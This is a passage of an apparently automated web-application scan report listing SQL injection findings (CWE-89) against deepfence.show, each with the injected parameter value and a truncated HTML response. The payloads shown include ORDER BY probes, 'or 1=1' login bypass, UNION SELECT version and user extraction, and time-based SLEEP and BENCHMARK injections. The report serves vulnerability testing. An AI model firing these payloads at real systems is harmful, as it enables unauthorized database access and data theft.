png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1272
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 2--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1273
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 30--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1274
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin" or 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1275
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1276
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1 AND (SELECT * FROM Users) =
1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1277Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1)) or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1278
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1279
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1280
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1281
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or ''-'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1282
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 28#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1283
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 29--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1284
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1285Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1286
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AnD SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
